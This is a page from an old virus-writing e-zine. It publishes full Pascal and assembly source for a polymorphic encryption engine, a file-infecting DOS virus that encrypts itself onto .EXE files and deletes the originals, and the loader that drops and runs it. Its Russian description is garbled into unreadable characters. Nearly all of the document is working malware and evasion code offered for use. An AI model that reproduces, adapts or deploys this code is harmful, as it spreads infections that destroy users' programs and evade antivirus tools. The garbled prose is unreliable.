- [Duke's Virus Labs #8] - [Page 05] -

Pascal Extra Polymorphics Engine (PePe)
(c) by Deviator/HAZARD

  ⠪ ?     (  ᢥ)  
 ᪠  ᥬ ⠢ (   ᥬ묨 ⠢   ;)
 ᪮쪮 饭  ,  㣮   ...
   1.0, ⠪-   ᨩ.

:      㦥
        ⭮⥫쭮   
        -⮢ , 騩  ᫮  ᫮
        宩  ;)
        ਯ    .Exe 䠩 !
         Pointer'a  室   ਯ⮢ (ਬ 
                 Loader'a  㣮  .  ਯ 
                 ᯮ  ࠧ  㣨)

⪨:
         . ( ⭮ ⮣,  ⠥  ᫮
                 ᬥ饭 0FFFFh)
          ਯ  ᫮ (2 , ਬ.।.:),  ࠧ Loader'a
        Pascal'᪮    ⥭ 2.  Pepe Virus.

{-----------------------------------------------------------------------------}

Name:   PePe Virus

  ᠭ  ᯮ짮 PePe.

:   100%  ( 騩)
        ࠦ .Exe 䠩 ᨬ  ਡ⮢

⪨:
         Exe Header'e  CheckSum  ࠧ  (ਯ⮢)

ᯮ 稪 ᠭ  ASM'e.  ᪨뢠  ,  
Vi.Exe, ᪠᪨ , ᪠   믮, ।
 Paramstr(1)  ⥪饣 䠩,    Paramstr(2)..Paramstr(ParamCount)
।  ࠬ.

Deviator/HAZARD.

===== begin pepe.pas =====
Unit    PePe;
{ Pascal Extra Polymorphics Engine }
{ By Deviator/HAZARD }

{ Disclaimer: To understand how this stuff working, you'll need a bit asm
  (principles of polymorphic engines,80x86 instruction set and other stuff).
  If you dont know this,you can use it freely,but do not change copyright }

{ So i'll try to explain.
 In intel systems registers are followed in such way: Ax,Cx,Dx,Bx,Sp,Bp,Si,Di.
 Table of opcodes you can find in additional table (opcodes.txt) }

{$X+}
Interface
Function DoPoly(SCode,SData:Pointer;SCLen,SDLen:Word;Var Dst:Pointer):Word;
implementation
Const
DecryptorL = 16;
Decryptor : Array [0..DecryptorL] of Byte = (
        $E8,            { Call }
        $58,            { Pop Pointer }
        $81,$C0,        { Add pointer }
        $B8,            { Mov Counter }
        $B8,            { Mov Keyword }
        $2E,$31,        { Xor/Add/Sub... }
        $48,            { Dec counter }
        $40,            { Inc Pointer }
        $40,            { Inc Pointer }
        $81,$C0,        { Add Keyword }
        $0B,            { Or Counter,Counter }
        $75,            { Jne }
        $E9,            { Jmp }
        $E9             { Jmp }
        );

Var
Point,Counter,KeyWord : Byte;           { Different variables }
Dest:Pointer;
CurDec,CurCr:Word;
Prev:Byte;
NKey,AKey:Word;
Calls:Array [0..25] of Word;
Callsn:Byte;
InnerCalls:Byte;
JxNum : Byte;

Function GetDByte:Byte;                 { Get byte from decryptor table }
Begin
GetDByte := Decryptor[CurDec];
Inc(CurDec);
End;

Procedure PutByte(BB:Byte);             { Store byte in destination area }
Begin
Mem[Seg(Dest^):Ofs(Dest^)+CurCr] := BB;
Inc(CurCr);
End;

Procedure PutWord(BB:Word);             { Store word }
Begin
Memw[Seg(Dest^):Ofs(Dest^)+CurCr] := BB;
Inc(CurCr); Inc(CurCr);
End;

Procedure CopyDByte;                    { Copy Byte from decryptor to
                                          destination }
Begin
PutByte(GetDByte);
End;

Procedure StoreWord(What,Where:Word);   { Store word at given location at
                                          destination area }
Begin
MemW[Seg(Dest^):Ofs(Dest^)+Where] := What;
End;

Procedure StoreByte(What:Byte;Where:Word);      { Same To StoreWord,but
                                                  for bytes }
Begin
Mem[Seg(Dest^):Ofs(Dest^)+Where] := What;
End;
{---------------------------------------------------------------}
Function GReg:Byte;                     { Gets unused register }
Var
L : Byte;
Begin
repeat
L := Random(7);
until (L <> Point) and (L <> Counter) and (L <> KeyWord) and (L <> 4);
GReg := L;
End;

Function GHigh:Byte;                    { Chooses register/mem for complex
                                          opcodes like Xor Ax,[Bx+Si],etc }
Var
B,C : Byte;
Begin
B := Random(255);
C := (B and $38) shr 3;
While (C = Point) or (C = Counter) or (C = KeyWord) or (C=4) do Begin
B := Random(255);
C := (B and $38) shr 3;
End;
GHigh := B;
End;

Function GetSize(G:Byte):Byte;          { Gets size of opcode length,
                                          generated by GHigh }
Begin
GetSize := 0;
If (G < $40) and ( (G and $87) = 6 ) then
                  Begin
                  GetSize := 2;
                  Exit;
                  End;
If (G < $40) or (G >= $C0) then Begin
                  GetSize := 0;
                  Exit;
                  End;
If (G >= $40) and (G < $80) then Begin
                  GetSize := 1;
                  Exit;
                  End;
If (G >= $80) and (G < $C0) then Begin
                  GetSize := 2;
                  Exit;
                  End;
End;

Function Check(Reg:Byte):Boolean;       { Checks if register used }
Begin
Check := False;
If (Reg = Point) or (Reg = Counter) or (Reg = KeyWord) or (Reg = 4)
        then Check := True;
End;

Procedure Garble(Small:Boolean); Forward;

Procedure MakeOneByters;                { Create onebyters }
Const
OneByte : Array [0..8] of Byte = ($2E,$3E,$F8,$F9,$FB,$FC,$FD,$26,$36);
Begin
PutByte(OneByte[Random(9)]);
End;

Procedure MakeImm16;                    { Make Mov Reg16,xxxx }
Begin
PutByte(GReg+$0B8);
PutWord(Random($FFFF));
End;

Procedure MakeIncDec;                   { Make Inc/Dec Reg16 }
Begin

If Random(2)=0 then PutByte(GReg+$40)
               else PutByte(GReg+$48);

End;

Procedure TwoThreeFour16;               { Create complex opcode }
Const
TTF : Array [0..7] of Byte = ($03,$13,$23,$33,$0B,$1B,$2B,$3B);
Var
Y,B,G:Byte;
Begin
PutByte(TTF[Random(8)]);
Y := GHigh;
PutByte(Y);
If GetSize(Y) <> 0 then
For B := 1 to GetSize(Y) do PutByte(Random($FF));
End;

Procedure XchgAx;                       { Create xchg ax,reg16 }
Begin
If Not Check(0) then PutByte(GReg+$90);
End;

Procedure MakeProc;                     { Create procedure }
Var
SQ,SW:Word;
Begin
If (Callsn < 20) and (InnerCalls<5) and (JxNum = 0) then Begin
Inc(InnerCalls);                        { Increase number of inner calls }
PutByte($E9);                           { Jmp Near }
PutWord(0);                             { Store for later patch }
SQ := CurCr;
Garble(True);                           { Garble with minimum garbage }
SW := CurCr;
Garble(False);
PutByte($C3);                           { Retn }
Garble(True);
StoreWord(CurCr-Sq,Sq-2);
Calls[Callsn] := SW;                    { Store offset of created procedure }
Inc(Callsn);
Dec(InnerCalls);                        { Decrease number of calls }
End;
End;

Procedure MakeCall;                     { Put call to procedure }
Begin
If Callsn > 0 then Begin
PutByte($E8);                           { Call Near }
PutWord(Calls[Random(Callsn)]-CurCr-2); { Store offset }
End;
End;

Procedure MakeJx;                       { Make Jz/Jnz,ie Jxx }
Var
T:Word;
Begin
If JxNum < 2 then Begin
Inc(JxNum);
PutByte(Random(16)+$70);                { Put random jxx }
PutByte(0);
T := CurCr;
Garble(True);                           { Garble with minimum garbage }
StoreByte(CurCr-T,T-1);                 { Patch Jxx offset }
Dec(JxNum);
End;
End;

Procedure MakeAxOp;                     { Make Ax-oriented opcodes }
Const
AxTbl : Array [0..9] of Byte = ($05,$15,$25,$35,$0D,$1D,$2D,$3D,$A9,$A1);
Begin
If Not Check(0) then Begin
PutByte(AxTbl[Random(10)]);
PutWord(Random($FFFF));
End;
End;

Procedure MakeInt;                      { Create interrupt call }
Const
Funcs : Array [0..4] of Byte = ($0B,$19,$4B,$54,$FF);
Ints  : Array [0..4] of Byte = ($21,$21,$21,$21,$12);
Var
Y:Byte;
Begin
If Not Check(0) then Begin
Y := Random(5);
PutByte($B4); PutByte(Funcs[Y]);
PutByte($CD); PutByte(Ints[Y]);
End;
End;

Function Think(Inn:Byte):Byte;          { Simple thinking procedure which
                                          aimed to create smooth decryptors }
Begin
If Prev = 0 then Begin
                  Think := 3;
                  Exit;
                  End;
Think := Inn;
End;

Procedure Garble(Small:Boolean);        { Garble }
Var
R,T,V:Byte;
Begin
If Not Small then R := Random(7)        { If Small = True, generate minimum
                                          garbage,else generate maximum }
             else R := Random(3);

For T := 0 to R do Begin

V := Random(10);                        { Choose kind of opcode to create }

If Prev <> Think(V) then Begin
Prev := Think(V);
Case Think(V) of                        { Think and call procedure }
0: MakeOneByters;
1: MakeImm16;
2: MakeIncDec;
3: TwoThreeFour16;
4: XchgAx;
5: MakeProc;
6: MakeCall;
7: MakeJx;
8: MakeAxOp;
9: MakeInt;
End;
End;
End;
End;

Function DoPoly(SCode,SData:Pointer;SCLen,SDLen:Word;Var Dst:Pointer):Word;
Var Q,M : Byte;
T1,T2,T3,T4,T5,D1,D2,D3,D4:Word;
CopyRight:String;
Begin

CopyRight:=#13#10'This is PePe engine v.1.2 '#13#10' By Deviator/HAZARD'#13#10;

Dest := Dst;
CurDec := 0; CurCr := 0; Callsn := 0; InnerCalls := 0; JxNum := 0;

{ Create Exe Header }
PutWord($5A4D);                 { 'MZ' }
PutWord(0); PutWord(0);         { Exe size }
PutWord(0);                     { Relocational items number }
PutWord(2);                     { Header size = 32 bytes }
PutWord(Random(999)+1000); PutWord(Random(999)+$7000);
                                { Min/Max mem }
PutWord(Random(40)+$1000); PutWord(Random(999)+$1000);
                                { SS/SP }
PutWord(0);                     { Checksum }
Q := Random(32);
PutWord(Q*16); PutWord(-Q);     { Cs:Ip }
PutWord($1C);                   { Relocational table offset }
PutWord(0);                     { Overlay number }
PutWord(Random($FFFF));
PutWord(Random($FFFF));         { Random stuff }

{ Initialise variables }
Q := Random(3);
Case Q of
0: Point := 3;                  { Bx }
1: Point := 6;                  { Si }
2: Point := 7;                  { Di }
End;
While (Q = Point) or (Q = 4) do Q := Random(8);
Counter := Q;
While (Q = Point) or (Q = Counter) or (Q = 4) do Q := Random(8);
KeyWord := Q;

Garble(False);
CopyDByte;                      { Copy Call Opcode }
PutWord(0);
T1 := CurCr;                    { Store for later patch }
Garble(False);
StoreWord(CurCr - T1,T1-2);     { Patch Call }
Garble(False);

PutByte(GetDByte+Point);        { Pop Pointer }

Garble(False);
CopyDByte;
PutByte(GetDByte+Point);        { Add Pointer,offset Data }
T2 := CurCr;
PutWord(0);
Garble(False);
PutByte(GetDByte+Counter);      { Mov Counter,Size }
PutWord((SCLen+SDLen) Shr 1);
Garble(False);
PutByte(GetDByte+KeyWord);      { Mov KeyWord,key }
NKey := Random($FFFF);
PutWord(NKey);
Garble(False);
T3 := CurCr;                    { Decryption Loop }
Garble(False);
CopyDByte; CopyDByte;
M := Point;
If M = 3 then M := 7 Else Dec(M,2);     { Xor Cs:[Pointer],Counter }
PutByte(KeyWord shl 3 + M);
Garble(True);
PutByte(GetDByte + Counter);            { Dec Counter }
Garble(True);
PutByte(GetDByte + Point);              { Inc Pointer }
Garble(True);
PutByte(GetDByte + Point);              { Inc Pointer }
Garble(True);
CopyDByte;
PutByte(GetDByte + KeyWord);            { Add KeyWord,AKey }
AKey := Random($FFFF);
PutWord(AKey);
Garble(True);
CopyDByte;                              { Or Counter,Counter }
PutByte(Counter Shl 3 + $C0 + Counter);
{Garble(True);}
CopyDByte;                              { Jne Xxx }
PutByte(0);
T4 := CurCr;
Garble(True);
CopyDByte;                              { Jmp AllDone }
PutWord(0);
T5 := CurCr;
Garble(True);
StoreByte(CurCr - T4,T4-1);
Garble(True);
CopyDByte;
PutWord(T3-CurCr-2);                    { Jmp Decrypt }
Garble(False);
StoreWord(CurCr-T5,T5-2);               { Patch Jmp AllDone }
StoreWord(CurCr-T1,T2);                 { Patch Add Counter,End of Decryptor}

D3 := NKey;
D4 := 0;

If SCLen <> 0 then                      { Crypt source }
For D2 := 0 to (SCLen shr 1) do Begin   { If size > 0 then crypt ! }
    PutWord(MemW[Seg(SCode^):Ofs(SCode^)+D4] xor D3);
    Inc(D3,AKey);
    Inc(D4,2);
    End;
D4 := 0;
If SDLen <> 0 then                      { Crypt addiotional bytes }
For D2 := 0 to (SDLen shr 1) do Begin
    PutWord(MemW[Seg(SData^):Ofs(SData^)+D4] xor D3);
    Inc(D3,AKey);
    Inc(D4,2);
    End;

StoreWord(CurCr div 512 + 1,4);         { Patch Exe PageCnt }
StoreWord(CurCr mod 512,2);             { Patch Exe partial page }
StoreWord(CurCr,$12);           { Patch in Exe CheckSum generated length }

DoPoly := CurCr;                        { All Done ! }

End;

End.
===== end   pepe.pas =====

===== begin virus.pas =====
{ World First Pascal Polymorphic Virus }
{ By Deviator/HAZARD }
{ Uses ASM loader which drops pas virus and executes it }

{$M $8000,$4000,$8000 }
Uses Dos,PePe;
Const
VLen = 6553;                    { Our len }
GMem = 10000;
FName = 'Victim.Exe';
Loader  :       Array [0..$00000141] of Byte = (        { Our ASM loader }
        $E8,$00,$00,$5D,$1E,$0E,$1F,$B4,$3C,$8D,
        $96,$A8,$00,$33,$C9,$CD,$21,$73,$03,$E9,
        $91,$00,$93,$B4,$40,$8D,$96,$3F,$01,$B9,
        $10,$27,$CD,$21,$B4,$3E,$CD,$21,$1F,$B4,
        $4A,$8D,$9E,$0F,$09,$C1,$EB,$04,$43,$43,
        $CD,$21,$A1,$2C,$00,$1E,$8E,$C0,$33,$C0,
        $33,$FF,$B9,$00,$80,$F2,$AE,$AE,$75,$FB,
        $AF,$0E,$06,$57,$5E,$1F,$07,$8D,$BE,$BF,
        $00,$AC,$AA,$2E,$FE,$86,$BD,$00,$2E,$80,
        $BE,$BD,$00,$7F,$73,$04,$3C,$00,$75,$ED,
        $4F,$1F,$BE,$80,$00,$AC,$3C,$00,$74,$15,
        $33,$C9,$8A,$C8,$AC,$AA,$2E,$FE,$86,$BD,
        $00,$2E,$80,$BE,$BD,$00,$7F,$73,$02,$E2,
        $EF,$90,$2E,$01,$AE,$B1,$00,$2E,$8C,$8E,
        $B3,$00,$2E,$8C,$9E,$B7,$00,$2E,$8C,$9E,
        $BB,$00,$0E,$1F,$8D,$96,$A8,$00,$8D,$9E,
        $AF,$00,$B8,$00,$4B,$CD,$21,$B4,$4C,$CD,
        $21,$56,$69,$2E,$65,$78,$65,$00,$00,$00,
        $BD,$00,$00,$00,$5C,$00,$00,$00,$6C,$00,
        $00,$00,$00,$20,$00,$00,$00,$00,$00,$00,
        $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,
        $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,
        $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,
        $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,
        $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,
        $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,
        $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,
        $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,
        $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,
        $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,
        $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,
        $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,
        $00,$00);
Var
FIn,FOut : File;
OurSt,Temp,Crypted : Pointer;
FSearch : SearchRec;
NumRead,G,NSize,L,K,H : Word;
B:String;

Begin

B := #13#10'World First Polymorphic Pascal Virus !'#13#10+
     '  Featuring PePe v.1.0 ;) - Pascal Extra Polymorphics Engine !'#13#10+
     '    I was surprised, when this stuff worked...<:P'+
     '       By Deviator/HAZARD'#13#10;

Assign(FIn,paramstr(0));                        { Read our body }
Reset(FIn,1);
Getmem(OurSt,VLen);
Blockread(FIn,OurSt^,VLen);
Close(FIn);                                     { Erase body }
Erase(FIn);

Assign(Fin,paramstr(1));                        { Read host body }
Reset(FIn,1);                                   { As paramstr(1) transferred
                                                  from loader our real name }
Seek(FIn,$12);
BlockRead(FIn,G,2);
Seek(FIn,G);
GetMem(Temp,GMem);

Assign(Fout,FName);
Rewrite(Fout,1);
Repeat
Blockread(Fin,Temp^,GMem,NumRead);              { Copy host }
Blockwrite(FOut,Temp^,NumRead);
Until eof(FIn);
Close(FIn);
Close(FOut);
Freemem(Temp,GMem);

B := '';
For G := 2 to ParamCount do B := B + ' ' + Paramstr(G);
SwapVectors;
Exec(FName, B);                                 { Exec host }
SwapVectors;

Assign(Fin,FName);                              { Erase it  ! }
Erase(Fin);

Getmem(Temp,GMem);
GetMem(Crypted,SizeOf(Loader)+VLen+3000);       { Get mem + 3000 }

FindFirst('*.ExE',AnyFile,FSearch);             { Find .Exe }

While DosError = 0 do
Begin
 If FSearch.Time <> 0 then Begin
  Assign(FIn,FSearch.Name);
  Rename(FIn,FName);
  Assign(Fout,FSearch.Name);                    { Open file for infection }
  Rewrite(FOut,1);
  Reset(FIn,1);
  NSize := DoPoly(Addr(Loader),OurSt,SizeOf(Loader)-2,VLen,Crypted);
                                                { Crypt us. Note that
                                                  loader is padded for two
                                                  bytes. PePe crypts two
                                                  additional bytes,so
                                                  just skip em }
  BlockWrite(FOut,Crypted^,NSize);              { Write polycreated copy }
  Repeat
  Blockread(FIn,Temp^,GMem,NumRead);            { Copy victim to our end }
  Blockwrite(FOut,Temp^,NumRead);
  Until eof(Fin);
  SetFTime(FOut,000);                           { Mark FIle }
  Close(Fin);
  Close(FOut);
  Erase(Fin);                                   { Delete File }
 End;
  FindNext(FSearch);                            { Next File }
end;
  FreeMem(Crypted,SizeOf(Loader)+VLen+3000);    { Release mem }
  Freemem(Temp,GMem);

{ Thats all. So nothing is impossible ! }

End.
===== end   virus.pas =====

===== begin loader.asm =====
; Loader for Pascal Virus

VirLen  equ     10000           ; Virus length (not really,but no difference)

.model tiny
.286
.code
        org 100h
Loader: Call GetOfs             ; Get our offset
GetOfs: pop  bp
        push ds cs              ; Store Ds,Ds = Cs
        pop  ds

        mov ah,3ch              ; Drop pascal virus body
        lea dx,[TstExt-GetOfs][Bp]
        xor cx,cx               ; Create file
        int 21h
        jnc Created
        jmp Quit
Created:xchg ax,bx              ; Write body
        mov ah,40h
        lea dx,[VFile-GetOfs][Bp]
        mov cx,VirLen
        int 21h
        mov ah,3eh              ; Close File
        int 21h
        pop  ds
        mov ah,4Ah              ; Mem resize
        lea bx,[VFile+2000-GetOfs][Bp]
        shr bx,4
        inc bx
        inc bx
        int 21h
        mov ax,ds:[2Ch]         ; Get our Param Block
        push ds
        mov es,ax
        xor ax,ax
        xor di,di
        mov cx,8000h
FindName:
repne   scasb                   ; Find our name
        scasb
        jnz FindName
        scasw
        push cs es di
        pop  si ds es
        lea di,[ComStr+2-GetOfs][Bp]    ; Copy name
CopyStr:lodsb
        stosb
        inc byte ptr cs:[Comstr-GetOfs][Bp]     ; Increase length
        cmp byte ptr cs:[ComStr-GetOfs][Bp],127 ; > 127 ?
        jae AllCopied
        cmp al,0
        jnz CopyStr
AllCopied:
        dec di
        pop ds
        mov si,80h                      ; Copy paramstring
        lodsb
        cmp al,0
        jz NoString
        xor cx,cx
        mov cl,al
CopyParamStr:
        lodsb
        stosb
        inc byte ptr cs:[ComStr-GetOfs][Bp]
        cmp byte ptr cs:[ComStr-GetOfs][Bp],127 ; String length > 127 ?
        jae NoString
        loop CopyParamStr
NoString:
        nop
        add cs:[P1-GetOfs][Bp],bp               ; Store different params
        mov cs:[Seg1-GetOfs][Bp],cs             ; for execution
        mov cs:[Seg2-GetOfs][Bp],ds
        mov cs:[Seg3-GetOfs][Bp],ds
        push cs
        pop  ds
        lea dx,[TstExt-GetOfs][Bp]
        lea bx,[Exec-GetOfs][Bp]
        mov ax,4B00h                            ; Execute pascal virus
        int 21h
Quit:   mov ah,4ch                              ; Just exit
        int 21h

TstExt  db      'Vi.exe',0

Exec    dw      0
P1      dw      offset ComStr-GetOfs
Seg1    dw      ?
        dw      5Ch
Seg2    dw      ?
        dw      6Ch
Seg3    dw      ?

Comstr  db      0
        db      20h
        db      128 dup (0)

VFile:

end     Loader
===== end   loader.asm =====

===== begin demo.pas =====
{ Simple program,that creates one encrypted file by PePe }

Program Demo;
Uses PePe;
Const
FF:Array [0..112] of Byte = (                   { This is sample procedure }
$E8,$63,$00,$54,$68,$69,$73,$20,$69,$73,
$20,$66,$69,$6C,$65,$20,$65,$6E,$63,$72,
$79,$70,$74,$65,$64,$20,$62,$79,$20,$50,
$65,$50,$65,$20,$76,$2E,$31,$2E,$30,$20,
$3B,$29,$0D,$0A,$50,$61,$73,$63,$61,$6C,
$20,$45,$78,$74,$72,$61,$20,$50,$6F,$6C,
$79,$6D,$6F,$72,$70,$68,$69,$63,$20,$45,
$6E,$67,$69,$6E,$65,$20,$21,$0D,$0A,$42,
$79,$20,$44,$65,$76,$69,$61,$74,$6F,$72,
$20,$5B,$48,$41,$5A,$41,$52,$44,$5D,$0D,
$0A,$24,$5A,$0E,$1F,$B4,$09,$CD,$21,$B4,$4C,$CD,$21);
VAR
F:File;
G:Pointer;
NSize : Word;

Begin
Randomize;                      { Randomize }
GetMem(G,5000);                 { Get 5kb }
NSize := DoPoly(Addr(FF),nil,SizeOf(FF)+1,0,G); { Do Poly }

Assign(F,'GENPOLY.EXE');        { Save generated file }
Rewrite(F,1);
BlockWrite(F,G^,NSize);
Close(F);

FreeMem(G,5000);                { Free mem }

End.
===== end   demo.pas =====
